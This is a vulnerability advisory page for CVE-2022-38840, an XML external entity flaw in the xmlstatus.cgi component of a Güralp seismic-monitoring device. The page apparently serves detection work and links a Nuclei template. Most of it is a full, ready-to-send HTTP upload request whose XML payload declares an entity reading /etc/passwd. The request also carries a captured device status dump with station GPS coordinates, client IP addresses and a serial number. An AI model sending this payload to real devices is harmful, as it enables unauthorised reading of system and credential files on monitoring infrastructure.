🔙 목록으로 돌아가기

CVE-2022-38840: Güralp MAN-EAM-0003 3.2.4 - XML External Entity (XXE)

TitleGüralp MAN-EAM-0003 3.2.4 - XML External Entity (XXE)
Authordaffainfo
SeverityHigh
ImpactUnauthenticated attackers can exploit XXE vulnerabilities in the xmlstatus.cgi component to read arbitrary files from the seismic monitoring system, potentially accessing sensitive configuration data and system credentials.
RemediationUpdate Güralp MAN-EAM-0003 to a version newer than 3.2.4 that disables external entity processing in XML parsers and validates uploaded XML files.
CVSS Score7.5
EPSS Score0.83277
CVE IDCVE-2022-38840
CWE IDCWE-611
Tags cve cve2022 guralp man-eam-0003 xxe vkev vuln

🔍 Vulnerability Description

cgi-bin/xmlstatus.cgi in Güralp MAN-EAM-0003 3.2.4 is vulnerable to an XML External Entity (XXE) issue via XML file upload, which leads to local file disclosure.

🌐 HTTP Request

POST /cgi-bin/xmlstatus.cgi HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Connection: close
Content-Length: 34731
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryb84cALN1n8IDf7tQ
Accept-Encoding: gzip

------WebKitFormBoundaryb84cALN1n8IDf7tQ

Content-Disposition: form-data; name="xml_file"; filename=""

Content-Type: application/octet-stream





------WebKitFormBoundaryb84cALN1n8IDf7tQ

Content-Disposition: form-data; name="xml_data"



<?xml version='1.0'?>

<!DOCTYPE replace [<!ENTITY example SYSTEM "file:///etc/passwd"> ]>

<xml-status xmlns='http://www.guralp.com/platinum/xmlns/xmlstatus/1.1'>

<module status='-1' display-primary='true' path='das' title='Data acquisition'>

<reading status='100' display-primary='false' path='is_faulty'

    title='Fault condition'>false</reading>

<reading status='-1' display-primary='false' path='dsp_tag'

    title='DSP code tag'>platinum</reading>

<reading status='-1' display-primary='false' path='dsp_version'

    title='DSP code version'>102</reading>

<reading status='100' display-primary='true' path='dsp_state'

    title='Acquisition hardware module'>running</reading>

<reading status='-1' display-primary='true' path='reference_clock'

    title='Reference clock type'>GPS</reading>

<reading status='100' display-primary='false' path='clock_controller'

    title='ADC clock controller state'>FLL</reading>

<reading status='-1' display-primary='false' path='clock_control_val'

    title='ADC clock controller value'>46196</reading>

<reading status='100' display-primary='true' path='clock_locked'

    title='ADC clock locked'>true</reading>

<reading status='-1' display-primary='true' path='clock_last_locked'

    title='ADC clock last locked at'>2022-06-14T11:26:53Z</reading>

<reading status='100' display-primary='true' path='clock_phase_error' units='s'

    title='ADC clock phase error'>6.1e-08</reading>

</module>

<module status='-1' display-primary='true' path='das-in.sensor.DONB..TM.0' title='Sensor A'>

<reading status='100' display-primary='true' path='state'

    title='Current state'>running</reading>

<reading status='-1' display-primary='true' path='last_action_time'

    title='Last action timestamp'>never</reading>

<reading status='-1' display-primary='true' path='last_action'

    title='Last action'></reading>

<reading status='96' display-primary='true' path='mass_Z'

    title='Z mass position'>4.6%</reading>

<reading status='100' display-primary='true' path='mass_N'

    title='N mass position'>-0.3%</reading>

<reading status='100' display-primary='true' path='mass_E'

    title='E mass position'>-0.3%</reading>

</module>

<module status='-1' display-primary='true' path='das-in.sensor.DONB..TM.1' title='Sensor B'>

<reading status='100' display-primary='true' path='state'

    title='Current state'>running</reading>

<reading status='-1' display-primary='true' path='last_action_time'

    title='Last action timestamp'>never</reading>

<reading status='-1' display-primary='true' path='last_action'

    title='Last action'></reading>

</module>

<module status='-1' display-primary='true' path='das-in.sensor.DONB..TM.X' title='Auxiliary'>

<reading status='100' display-primary='true' path='state'

    title='Current state'>running</reading>

<reading status='-1' display-primary='true' path='last_action_time'

    title='Last action timestamp'>never</reading>

<reading status='-1' display-primary='true' path='last_action'

    title='Last action'></reading>

</module>

<module status='-1' display-primary='true' path='gcf-out-scream.default' title='Scream server (GCF network sender)'>

<reading status='100' display-primary='true' path='total_blocks'

    title='Total number of blocks sent'>11374055</reading>

<reading status='100' display-primary='true' path='last5_blocks'

    title='Number of blocks sent in last 5 minutes'>331</reading>

<reading status='-1' display-primary='false' path='port_number'

    title='Port listening on'>1567</reading>

<reading status='-1' display-primary='true' path='num_clients'

    title='Number of clients connected'>0</reading>

<list status='-1' display-primary='true' path='clients' title='Clients'>

</list>

</module>

<module status='-1' display-primary='false' path='gdi-base.default' title='Default data transport daemon'>

<reading status='100' display-primary='true' path='num_channels'

    title='Number of channels'>16</reading>

<reading status='100' display-primary='true' path='num_clients'

    title='Number of connected clients'>5</reading>

<reading status='100' display-primary='true' path='num_samples'

    title='Number of samples received'>7338920142</reading>

<reading status='100' display-primary='true' path='last5_samples'

    title='Number of samples in last 5 minutes'>213600</reading>

<list status='-1' display-primary='false' path='clients' title='Clients'>

<list-item status='-1' display-primary='false' path='44B02216' title='Client #1'>

<reading status='-1' display-primary='false' path='name'

    title='Client name'>gdi2gcf[default]</reading>

</list-item>

<list-item status='-1' display-primary='false' path='1CC104A5' title='Client #2'>

<reading status='-1' display-primary='false' path='name'

    title='Client name'>gdi-link-tx[default]</reading>

</list-item>

<list-item status='-1' display-primary='false' path='9D9E4553' title='Client #3'>

<reading status='-1' display-primary='false' path='name'

    title='Client name'>gdi2miniseed[default]</reading>

</list-item>

<list-item status='-1' display-primary='false' path='4B1427EC' title='Client #4'>

<reading status='-1' display-primary='false' path='name'

    title='Client name'>das-in</reading>

</list-item>

<list-item status='-1' display-primary='false' path='412FD3EB' title='Client #5'>

<reading status='-1' display-primary='false' path='name'

    title='Client name'>das-in-textstatus</reading>

</list-item>

</list>

<list status='-1' display-primary='false' path='channels' title='Channels'>

<list-item status='-1' display-primary='false' path='38B5E770' title='Channel #1'>

<reading status='-1' display-primary='false' path='name'

    title='Channel name'>DONB.HHZ.TM.00</reading>

</list-item>

<list-item status='-1' display-primary='false' path='7B77F21B' title='Channel #2'>

<reading status='-1' display-primary='false' path='name'

    title='Channel name'>DONB.HHN.TM.00</reading>

</list-item>

<list-item status='-1' display-primary='false' path='B55019F4' title='Channel #3'>

<reading status='-1' display-primary='false' path='name'

    title='Channel name'>DONB.HHE.TM.00</reading>

</list-item>

<list-item status='-1' display-primary='false' path='35ED217B' title='Channel #4'>

<reading status='-1' display-primary='false' path='name'

    title='Channel name'>DONB.HDF.TM.X0</reading>

</list-item>

<list-item status='-1' display-primary='false' path='8062D6AB' title='Channel #5'>

<reading status='-1' display-primary='false' path='name'

    title='Channel name'>DONB.HNZ.TM.10</reading>

</list-item>

<list-item status='-1' display-primary='false' path='2099C9F1' title='Channel #6'>

<reading status='-1' display-primary='false' path='name'

    title='Channel name'>DONB.HNN.TM.10</reading>

</list-item>

<list-item status='-1' display-primary='false' path='DE833721' title='Channel #7'>

<reading status='-1' display-primary='false' path='name'

    title='Channel name'>DONB.HNE.TM.10</reading>

</list-item>

<list-item status='-1' display-primary='false' path='5510ED44' title='Channel #8'>

<reading status='-1' display-primary='false' path='name'

    title='Channel name'>DONB.MMZ.TM.00</reading>

</list-item>

<list-item status='-1' display-primary='false' path='ACFA260E' title='Channel #9'>

<reading status='-1' display-primary='false' path='name'

    title='Channel name'>DONB.MMN.TM.00</reading>

</list-item>

<list-item status='-1' display-primary='false' path='5BED382E' title='Channel #10'>

<reading status='-1' display-primary='false' path='name'

    title='Channel name'>DONB.MME.TM.00</reading>

</list-item>

<list-item status='-1' display-primary='false' path='67453FF7' title='Channel #11'>

<reading status='-1' display-primary='false' path='name'

    title='Channel name'>DONB.SOH.TM.0</reading>

</list-item>

<list-item status='-1' display-primary='false' path='1D34DF0D' title='Channel #12'>

<reading status='-1' display-primary='false' path='name'

    title='Channel name'>DONB-AIB</reading>

</list-item>

<list-item status='-1' display-primary='false' path='A11AEDBA' title='Channel #13'>

<reading status='-1' display-primary='false' path='name'

    title='Channel name'>DONB.SOH.TM.1</reading>

</list-item>

<list-item status='-1' display-primary='false' path='2DBCFF6E' title='Channel #14'>

<reading status='-1' display-primary='false' path='name'

    title='Channel name'>DONB-BIB</reading>

</list-item>

<list-item status='-1' display-primary='false' path='9D7CDB17' title='Channel #15'>

<reading status='-1' display-primary='false' path='name'

    title='Channel name'>DONB.SOH.TM.X</reading>

</list-item>

<list-item status='-1' display-primary='false' path=' 8A3C070' title='Channel #16'>

<reading status='-1' display-primary='false' path='name'

    title='Channel name'>DONB-XIB</reading>

</list-item>

</list>

</module>

<module status='-1' display-primary='true' path='gdi-link-tx.default' title='System gdi-link transmitter'>

<reading status='100' display-primary='true' path='total_bytes_sent' units='bytes'

    title='Total number of bytes sent'>11273973132</reading>

<reading status='100' display-primary='true' path='last5_bytes_sent'

    title='Number of bytes sent in last 5 minutes'>325518</reading>

<reading status='100' display-primary='true' path='tx_rate'

    title='Transmit rate over last 5 minutes'>1085.06</reading>

<reading status='-1' display-primary='false' path='port_number'

    title='Port listening on'>1565</reading>

<reading status='100' display-primary='true' path='num_clients'

    title='Number of clients'>0</reading>

<list status='-1' display-primary='true' path='clients' title='Clients'>

</list>

</module>

<module status='-1' display-primary='true' path='gdi2gcf.default' title='GCF compressor. Default instance'>

<reading status='100' display-primary='true' path='num_samples_in'

    title='Total number of samples in'>7439096490</reading>

<reading status='100' display-primary='true' path='last5_samples_in'

    title='Number of samples in in last 5 minutes'>216516</reading>

<reading status='100' display-primary='true' path='num_blocks_out'

    title='Total number of blocks out'>11374055</reading>

<reading status='100' display-primary='true' path='last5_blocks_out'

    title='Number of blocks out in last 5 minutes'>331</reading>

<list status='-1' display-primary='false' path='channels' title='Channels'>

<list-item status='-1' display-primary='true' path='10D33176' title='DONB.HHZ.TM.00'>

<reading status='-1' display-primary='true' path='sample_rate' units='Hz'

    title='Sample rate'>100</reading>

<reading status='-1' display-primary='true' path='gcf_name'

    title='GCF name'>DONB-AZ0</reading>

<reading status='-1' display-primary='true' path='last_block'

    title='Last block timestamp'>2022-06-14T11:26:46.000000000Z</reading>

<reading status='-1' display-primary='false' path='digitiser_type'

    title='GCF digitiser type'>CMG-DAS</reading>

<reading status='-1' display-primary='false' path='ttl'

    title='GCF tap table lookup'>0</reading>

<reading status='-1' display-primary='false' path='pga'

    title='GCF variable gain'>1</reading>

</list-item>

<list-item status='-1' display-primary='true' path='39355EAD' title='DONB.HHN.TM.00'>

<reading status='-1' display-primary='true' path='sample_rate' units='Hz'

    title='Sample rate'>100</reading>

<reading status='-1' display-primary='true' path='gcf_name'

    title='GCF name'>DONB-AN0</reading>

<reading status='-1' display-primary='true' path='last_block'

    title='Last block timestamp'>2022-06-14T11:26:46.000000000Z</reading>

<reading status='-1' display-primary='false' path='digitiser_type'

    title='GCF digitiser type'>CMG-DAS</reading>

<reading status='-1' display-primary='false' path='ttl'

    title='GCF tap table lookup'>0</reading>

<reading status='-1' display-primary='false' path='pga'

    title='GCF variable gain'>1</reading>

</list-item>

<list-item status='-1' display-primary='true' path=' 380425E' title='DONB.HHE.TM.00'>

<reading status='-1' display-primary='true' path='sample_rate' units='Hz'

    title='Sample rate'>100</reading>

<reading status='-1' display-primary='true' path='gcf_name'

    title='GCF name'>DONB-AE0</reading>

<reading status='-1' display-primary='true' path='last_block'

    title='Last block timestamp'>2022-06-14T11:26:45.000000000Z</reading>

<reading status='-1' display-primary='false' path='digitiser_type'

    title='GCF digitiser type'>CMG-DAS</reading>

<reading status='-1' display-primary='false' path='ttl'

    title='GCF tap table lookup'>0</reading>

<reading status='-1' display-primary='false' path='pga'

    title='GCF variable gain'>1</reading>

</list-item>

<list-item status='-1' display-primary='true' path='E6EAF8A3' title='DONB.HDF.TM.X0'>

<reading status='-1' display-primary='true' path='sample_rate' units='Hz'

    title='Sample rate'>100</reading>

<reading status='-1' display-primary='true' path='gcf_name'

    title='GCF name'>DONB-XX0</reading>

<reading status='-1' display-primary='true' path='last_block'

    title='Last block timestamp'>2022-06-14T11:26:35.000000000Z</reading>

<reading status='-1' display-primary='false' path='digitiser_type'

    title='GCF digitiser type'>CMG-DAS</reading>

<reading status='-1' display-primary='false' path='ttl'

    title='GCF tap table lookup'>0</reading>

<reading status='-1' display-primary='false' path='pga'

    title='GCF variable gain'>1</reading>

</list-item>

<list-item status='-1' display-primary='true' path='45B1141C' title='DONB.HNZ.TM.10'>

<reading status='-1' display-primary='true' path='sample_rate' units='Hz'

    title='Sample rate'>100</reading>

<reading status='-1' display-primary='true' path='gcf_name'

    title='GCF name'>DONB-BZ0</reading>

<reading status='-1' display-primary='true' path='last_block'

    title='Last block timestamp'>2022-06-14T11:26:48.000000000Z</reading>

<reading status='-1' display-primary='false' path='digitiser_type'

    title='GCF digitiser type'>CMG-DAS</reading>

<reading status='-1' display-primary='false' path='ttl'

    title='GCF tap table lookup'>0</reading>

<reading status='-1' display-primary='false' path='pga'

    title='GCF variable gain'>1</reading>

</list-item>

<list-item status='-1' display-primary='true' path=' 9951403' title='DONB.HNN.TM.10'>

<reading status='-1' display-primary='true' path='sample_rate' units='Hz'

    title='Sample rate'>100</reading>

<reading status='-1' display-primary='true' path='gcf_name'

    title='GCF name'>DONB-BN0</reading>

<reading status='-1' display-primary='true' path='last_block'

    title='Last block timestamp'>2022-06-14T11:26:42.000000000Z</reading>

<reading status='-1' display-primary='false' path='digitiser_type'

    title='GCF digitiser type'>CMG-DAS</reading>

<reading status='-1' display-primary='false' path='ttl'

    title='GCF tap table lookup'>0</reading>

<reading status='-1' display-primary='false' path='pga'

    title='GCF variable gain'>1</reading>

</list-item>

<list-item status='-1' display-primary='true' path='3B38B4CE' title='DONB.HNE.TM.10'>

<reading status='-1' display-primary='true' path='sample_rate' units='Hz'

    title='Sample rate'>100</reading>

<reading status='-1' display-primary='true' path='gcf_name'

    title='GCF name'>DONB-BE0</reading>

<reading status='-1' display-primary='true' path='last_block'

    title='Last block timestamp'>2022-06-14T11:26:40.000000000Z</reading>

<reading status='-1' display-primary='false' path='digitiser_type'

    title='GCF digitiser type'>CMG-DAS</reading>

<reading status='-1' display-primary='false' path='ttl'

    title='GCF tap table lookup'>0</reading>

<reading status='-1' display-primary='false' path='pga'

    title='GCF variable gain'>1</reading>

</list-item>

<list-item status='-1' display-primary='true' path='3E12CA7F' title='DONB.MMZ.TM.00'>

<reading status='-1' display-primary='true' path='sample_rate' units='Hz'

    title='Sample rate'>4</reading>

<reading status='-1' display-primary='true' path='gcf_name'

    title='GCF name'>DONB-AM8</reading>

<reading status='-1' display-primary='true' path='last_block'

    title='Last block timestamp'>2022-06-14T11:24:48.000000000Z</reading>

<reading status='-1' display-primary='false' path='digitiser_type'

    title='GCF digitiser type'>CMG-DAS</reading>

<reading status='-1' display-primary='false' path='ttl'

    title='GCF tap table lookup'>0</reading>

<reading status='-1' display-primary='false' path='pga'

    title='GCF variable gain'></reading>

</list-item>

<list-item status='-1' display-primary='true' path='F194038D' title='DONB.MMN.TM.00'>

<reading status='-1' display-primary='true' path='sample_rate' units='Hz'

    title='Sample rate'>4</reading>

<reading status='-1' display-primary='true' path='gcf_name'

    title='GCF name'>DONB-AM9</reading>

<reading status='-1' display-primary='true' path='last_block'

    title='Last block timestamp'>2022-06-14T11:23:47.000000000Z</reading>

<reading status='-1' display-primary='false' path='digitiser_type'

    title='GCF digitiser type'>CMG-DAS</reading>

<reading status='-1' display-primary='false' path='ttl'

    title='GCF tap table lookup'>0</reading>

<reading status='-1' display-primary='false' path='pga'

    title='GCF variable gain'></reading>

</list-item>

<list-item status='-1' display-primary='true' path='80F951F3' title='DONB.MME.TM.00'>

<reading status='-1' display-primary='true' path='sample_rate' units='Hz'

    title='Sample rate'>4</reading>

<reading status='-1' display-primary='true' path='gcf_name'

    title='GCF name'>DONB-AMA</reading>

<reading status='-1' display-primary='true' path='last_block'

    title='Last block timestamp'>2022-06-14T11:23:57.000000000Z</reading>

<reading status='-1' display-primary='false' path='digitiser_type'

    title='GCF digitiser type'>CMG-DAS</reading>

<reading status='-1' display-primary='false' path='ttl'

    title='GCF tap table lookup'>0</reading>

<reading status='-1' display-primary='false' path='pga'

    title='GCF variable gain'></reading>

</list-item>

<list-item status='-1' display-primary='true' path='  DCFFBA' title='DONB.SOH.TM.0'>

<reading status='-1' display-primary='true' path='sample_rate' units='Hz'

    title='Sample rate'>nan</reading>

<reading status='-1' display-primary='true' path='gcf_name'

    title='GCF name'>DONB-A00</reading>

<reading status='-1' display-primary='true' path='last_block'

    title='Last block timestamp'></reading>

<reading status='-1' display-primary='false' path='digitiser_type'

    title='GCF digitiser type'>CMG-DAS</reading>

<reading status='-1' display-primary='false' path='ttl'

    title='GCF tap table lookup'>0</reading>

<reading status='-1' display-primary='false' path='pga'

    title='GCF variable gain'></reading>

</list-item>

<list-item status='-1' display-primary='true' path='F2D860DE' title='DONB-AIB'>

<reading status='-1' display-primary='true' path='sample_rate' units='Hz'

    title='Sample rate'>nan</reading>

<reading status='-1' display-primary='true' path='gcf_name'

    title='GCF name'>DONB-AIB</reading>

<reading status='-1' display-primary='true' path='last_block'

    title='Last block timestamp'></reading>

<reading status='-1' display-primary='false' path='digitiser_type'

    title='GCF digitiser type'>CMG-DAS</reading>

<reading status='-1' display-primary='false' path='ttl'

    title='GCF tap table lookup'>0</reading>

<reading status='-1' display-primary='false' path='pga'

    title='GCF variable gain'></reading>

</list-item>

<list-item status='-1' display-primary='true' path='8B4D513B' title='DONB.SOH.TM.1'>

<reading status='-1' display-primary='true' path='sample_rate' units='Hz'

    title='Sample rate'>nan</reading>

<reading status='-1' display-primary='true' path='gcf_name'

    title='GCF name'>DONB-B00</reading>

<reading status='-1' display-primary='true' path='last_block'

    title='Last block timestamp'></reading>

<reading status='-1' display-primary='false' path='digitiser_type'

    title='GCF digitiser type'>CMG-DAS</reading>

<reading status='-1' display-primary='false' path='ttl'

    title='GCF tap table lookup'>0</reading>

<reading status='-1' display-primary='false' path='pga'

    title='GCF variable gain'></reading>

</list-item>

<list-item status='-1' display-primary='true' path='5CC9B084' title='DONB-BIB'>

<reading status='-1' display-primary='true' path='sample_rate' units='Hz'

    title='Sample rate'>nan</reading>

<reading status='-1' display-primary='true' path='gcf_name'

    title='GCF name'>DONB-BIB</reading>

<reading status='-1' display-primary='true' path='last_block'

    title='Last block timestamp'></reading>

<reading status='-1' display-primary='false' path='digitiser_type'

    title='GCF digitiser type'>CMG-DAS</reading>

<reading status='-1' display-primary='false' path='ttl'

    title='GCF tap table lookup'>0</reading>

<reading status='-1' display-primary='false' path='pga'

    title='GCF variable gain'></reading>

</list-item>

<list-item status='-1' display-primary='true' path='B4418B8A' title='DONB.SOH.TM.X'>

<reading status='-1' display-primary='true' path='sample_rate' units='Hz'

    title='Sample rate'>nan</reading>

<reading status='-1' display-primary='true' path='gcf_name'

    title='GCF name'>DONB-X00</reading>

<reading status='-1' display-primary='true' path='last_block'

    title='Last block timestamp'></reading>

<reading status='-1' display-primary='false' path='digitiser_type'

    title='GCF digitiser type'>CMG-DAS</reading>

<reading status='-1' display-primary='false' path='ttl'

    title='GCF tap table lookup'>0</reading>

<reading status='-1' display-primary='false' path='pga'

    title='GCF variable gain'></reading>

</list-item>

<list-item status='-1' display-primary='true' path='AB7AFF68' title='DONB-XIB'>

<reading status='-1' display-primary='true' path='sample_rate' units='Hz'

    title='Sample rate'>nan</reading>

<reading status='-1' display-primary='true' path='gcf_name'

    title='GCF name'>DONB-XIB</reading>

<reading status='-1' display-primary='true' path='last_block'

    title='Last block timestamp'></reading>

<reading status='-1' display-primary='false' path='digitiser_type'

    title='GCF digitiser type'>CMG-DAS</reading>

<reading status='-1' display-primary='false' path='ttl'

    title='GCF tap table lookup'>0</reading>

<reading status='-1' display-primary='false' path='pga'

    title='GCF variable gain'></reading>

</list-item>

</list>

</module>

<module status='-1' display-primary='true' path='gdi2miniseed.default' title='Mini-SEED compressor. Default instance'>

<reading status='100' display-primary='true' path='num_samples_in'

    title='Total number of data samples in'>6184483152</reading>

<reading status='100' display-primary='true' path='last5_samples_in'

    title='Number of samples in last 5 minutes'>180000</reading>

<reading status='100' display-primary='true' path='num_text_in'

    title='Total number of text samples in'>0</reading>

<reading status='100' display-primary='true' path='last5_text_in'

    title='Number of text samples in last 5 minutes'>0</reading>

<reading status='100' display-primary='true' path='num_ms_rec_out'

    title='Total number of Miniseed records out'>22682743</reading>

<reading status='100' display-primary='true' path='last5_ms_rec_out'

    title='Number of Miniseed records out in last 5 minutes'>655</reading>

</module>

<module status='-1' display-primary='true' path='gps' title='GPS'>

<reading status='100' display-primary='true' path='have_data'

    title='GPS data received'>true</reading>

<reading status='100' display-primary='false' path='last_data'

    title='Last data received from GPS'>2022-06-14T11:26:53Z</reading>

<reading status='100' display-primary='true' path='fix'

    title='Fix'>3D</reading>

<reading status='100' display-primary='true' path='last_fix'

    title='Timestamp of last fix'>2022-06-14T11:26:53Z</reading>

<reading status='-1' display-primary='true' path='latitude' units='°'

    title='Latitude'>13.909917</reading>

<reading status='-1' display-primary='true' path='longitude' units='°'

    title='Longitude'>100.593734</reading>

<reading status='-1' display-primary='true' path='elevation' units='m'

    title='Elevation'>3</reading>

<reading status='100' display-primary='true' path='sv_count'

    title='Count of satellites in view'>26</reading>

<reading status='100' display-primary='true' path='sv_used'

    title='Count of satellites used in fix'>12</reading>

<reading status='-1' display-primary='true' path='sv_online'

    title='Timestamp of last nmea sentence'>2022-06-14T11:26:52Z</reading>

<reading status='100' display-primary='true' path='rs232_detect'

    title='RS232 device detect'>true</reading>

</module>

<module status='-1' display-primary='true' path='ntp' title='NTP'>

<reading status='-1' display-primary='false' path='mode'

    title='Timing mode'>direct_gps</reading>

<reading status='-1' display-primary='true' path='mode_desc'

    title='Timing mode'>NTP is using a GPS reference source.</reading>

<reading status='100' display-primary='true' path='locked'

    title='Clock locked'>true</reading>

<reading status='100' display-primary='true' path='estimated_error' units='s'

    title='Estimated error'>0.000131</reading>

<reading status='-1' display-primary='true' path='clock_source'

    title='Clock source'>GPS</reading>

<reading status='-1' display-primary='false' path='peer'

    title='Peer'>127.127.28.1</reading>

<reading status='-1' display-primary='false' path='peer_refid'

    title='Peer&apos;s reference ID'>GPS</reading>

</module>

<module status='-1' display-primary='true' path='seedlink-out.0' title='SEEDlink network server (instance 1)'>

<reading status='-1' display-primary='true' path='num_records'

    title='Total number of records seen'>22682743</reading>

<reading status='100' display-primary='true' path='last5_records'

    title='Number of records seen in last 5 minutes'>655</reading>

<reading status='-1' display-primary='true' path='seq'

    title='Current sequence number'>3382931</reading>

<reading status='100' display-primary='true' path='num_clients'

    title='Number of clients connected'>7</reading>

<list status='-1' display-primary='true' path='clients' title='Clients'>

<list-item status='-1' display-primary='true' path='2DF96A1C' title='Client #1700'>

<reading status='-1' display-primary='true' path='remote_ip'

    title='Remote IP address'>123.160.221.22</reading>

<reading status='-1' display-primary='true' path='remote_port'

    title='Remote TCP port'>21100</reading>

<reading status='-1' display-primary='true' path='dialup'

    title='Dialup mode'>false</reading>

<reading status='-1' display-primary='true' path='seqno'

    title='Last sequence no'>0</reading>

</list-item>

<list-item status='-1' display-primary='true' path='79C29121' title='Client #3412'>

<reading status='-1' display-primary='true' path='remote_ip'

    title='Remote IP address'>113.53.234.98</reading>

<reading status='-1' display-primary='true' path='remote_port'

    title='Remote TCP port'>33964</reading>

<reading status='-1' display-primary='true' path='dialup'

    title='Dialup mode'>false</reading>

<reading status='-1' display-primary='true' path='seqno'

    title='Last sequence no'>0</reading>

</list-item>

<list-item status='-1' display-primary='true' path='5060E6FF' title='Client #3581'>

<reading status='-1' display-primary='true' path='remote_ip'

    title='Remote IP address'>203.114.125.67</reading>

<reading status='-1' display-primary='true' path='remote_port'

    title='Remote TCP port'>48666</reading>

<reading status='-1' display-primary='true' path='dialup'

    title='Dialup mode'>false</reading>

<reading status='-1' display-primary='true' path='seqno'

    title='Last sequence no'>3221351</reading>

</list-item>

<list-item status='-1' display-primary='true' path='B1A1AB18' title='Client #3723'>

<reading status='-1' display-primary='true' path='remote_ip'

    title='Remote IP address'>113.53.234.98</reading>

<reading status='-1' display-primary='true' path='remote_port'

    title='Remote TCP port'>45158</reading>

<reading status='-1' display-primary='true' path='dialup'

    title='Dialup mode'>false</reading>

<reading status='-1' display-primary='true' path='seqno'

    title='Last sequence no'>3382931</reading>

</list-item>

<list-item status='-1' display-primary='true' path=' 91FC71C' title='Client #3720'>

<reading status='-1' display-primary='true' path='remote_ip'

    title='Remote IP address'>221.128.101.50</reading>

<reading status='-1' display-primary='true' path='remote_port'

    title='Remote TCP port'>55776</reading>

<reading status='-1' display-primary='true' path='dialup'

    title='Dialup mode'>false</reading>

<reading status='-1' display-primary='true' path='seqno'

    title='Last sequence no'>3382931</reading>

</list-item>

<list-item status='-1' display-primary='true' path='599CD113' title='Client #3721'>

<reading status='-1' display-primary='true' path='remote_ip'

    title='Remote IP address'>118.175.2.50</reading>

<reading status='-1' display-primary='true' path='remote_port'

    title='Remote TCP port'>60818</reading>

<reading status='-1' display-primary='true' path='dialup'

    title='Dialup mode'>false</reading>

<reading status='-1' display-primary='true' path='seqno'

    title='Last sequence no'>3382931</reading>

</list-item>

<list-item status='-1' display-primary='true' path='BAB80847' title='Client #3722'>

<reading status='-1' display-primary='true' path='remote_ip'

    title='Remote IP address'>203.114.125.67</reading>

<reading status='-1' display-primary='true' path='remote_port'

    title='Remote TCP port'>53984</reading>

<reading status='-1' display-primary='true' path='dialup'

    title='Dialup mode'>false</reading>

<reading status='-1' display-primary='true' path='seqno'

    title='Last sequence no'>3382931</reading>

</list-item>

</list>

</module>

<module status='-1' display-primary='true' path='storage' title='Storage'>

<reading status='100' display-primary='true' path='state'

    title='State'>Inactive</reading>

<reading status='100' display-primary='true' path='recording_state'

    title='Recording state'>Last flush good</reading>

<reading status='-1' display-primary='true' path='last_accessed'

    title='Last accessed'>2022-06-14T08:10:14Z</reading>

<reading status='-1' display-primary='true' path='free_space_pct'

    title='Free space'>27.2%</reading>

<reading status='-1' display-primary='false' path='free_space' units='bytes'

    title='Available space'>17449811968</reading>

<reading status='-1' display-primary='true' path='size' units='bytes'

    title='Storage size'>64134021120</reading>

<reading status='100' display-primary='false' path='fs_type'

    title='Filesystem type'>VFAT</reading>

<list status='-1' display-primary='false' path='clients' title='Clients'>

</list>

</module>

<module status='-1' display-primary='true' path='system' title='Linux system'>

<reading status='-1' display-primary='false' path='serial_number'

    title='Serial number'>DAS-405D62</reading>

<reading status='-1' display-primary='true' path='uptime' units='s'

    title='System uptime'>10307538</reading>

<reading status='-1' display-primary='true' path='load_average'

    title='Load Average'>1.72</reading>

<reading status='100' display-primary='true' path='root_free_space' units='bytes'

    title='Root filesystem free space'>437809152</reading>

<reading status='100' display-primary='true' path='root_percent_free_space'

    title='Root filesystem percentage space free'>77.0%</reading>

<reading status='-1' display-primary='true' path='build_label'

    title='Software repository label'>&example;</reading>

<reading status='-1' display-primary='true' path='build_version'

    title='Software build number'>15809</reading>

<reading status='-1' display-primary='true' path='build_machine'

    title='Build machine'>CMG-DAS</reading>

<reading status='-1' display-primary='true' path='last_reboot_1'

    title='Reboot 1'>2021-04-08T05:06:17Z</reading>

<reading status='-1' display-primary='true' path='last_reboot_2'

    title='Reboot 2'>2021-04-08T07:02:50Z</reading>

<reading status='-1' display-primary='true' path='last_reboot_3'

    title='Reboot 3'>2021-04-08T08:00:33Z</reading>

<reading status='-1' display-primary='true' path='last_reboot_4'

    title='Reboot 4'>2021-04-08T08:30:41Z</reading>

<reading status='-1' display-primary='true' path='last_reboot_5'

    title='Reboot 5'>2021-04-08T08:39:15Z</reading>

<reading status='-1' display-primary='true' path='last_reboot_6'

    title='Reboot 6'>2021-04-08T08:46:24Z</reading>

<reading status='-1' display-primary='true' path='last_reboot_7'

    title='Reboot 7'>2021-04-08T10:08:51Z</reading>

<reading status='-1' display-primary='true' path='last_reboot_8'

    title='Reboot 8'>2021-04-09T07:10:41Z</reading>

<reading status='-1' display-primary='true' path='last_reboot_9'

    title='Reboot 9'>2021-10-07T06:48:35Z</reading>

<reading status='-1' display-primary='true' path='last_reboot_10'

    title='Reboot 10'>2022-02-15T04:14:30Z</reading>

<reading status='100' display-primary='true' path='temperature' units='°C'

    title='System temperature'>43.875</reading>

<reading status='100' display-primary='true' path='voltage' units='V'

    title='Power supply voltage'>12.75</reading>

<reading status='100' display-primary='true' path='current' units='A'

    title='Power supply current'>0.442</reading>

<reading status='100' display-primary='true' path='sensor_A_voltage' units='V'

    title='Sensor A voltage'>12.675</reading>

<reading status='100' display-primary='true' path='sensor_A_current' units='A'

    title='Sensor A current'>0.289</reading>

<reading status='100' display-primary='true' path='sensor_B_voltage' units='V'

    title='Sensor B voltage'>12.725</reading>

<reading status='100' display-primary='true' path='sensor_B_current' units='A'

    title='Sensor B current'>0.002</reading>

</module>

</xml-status>

------WebKitFormBoundaryb84cALN1n8IDf7tQ

Content-Disposition: form-data; name="upload_xml"



Upload and view

------WebKitFormBoundaryb84cALN1n8IDf7tQ--

📚 References

🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-38840.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-38840.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A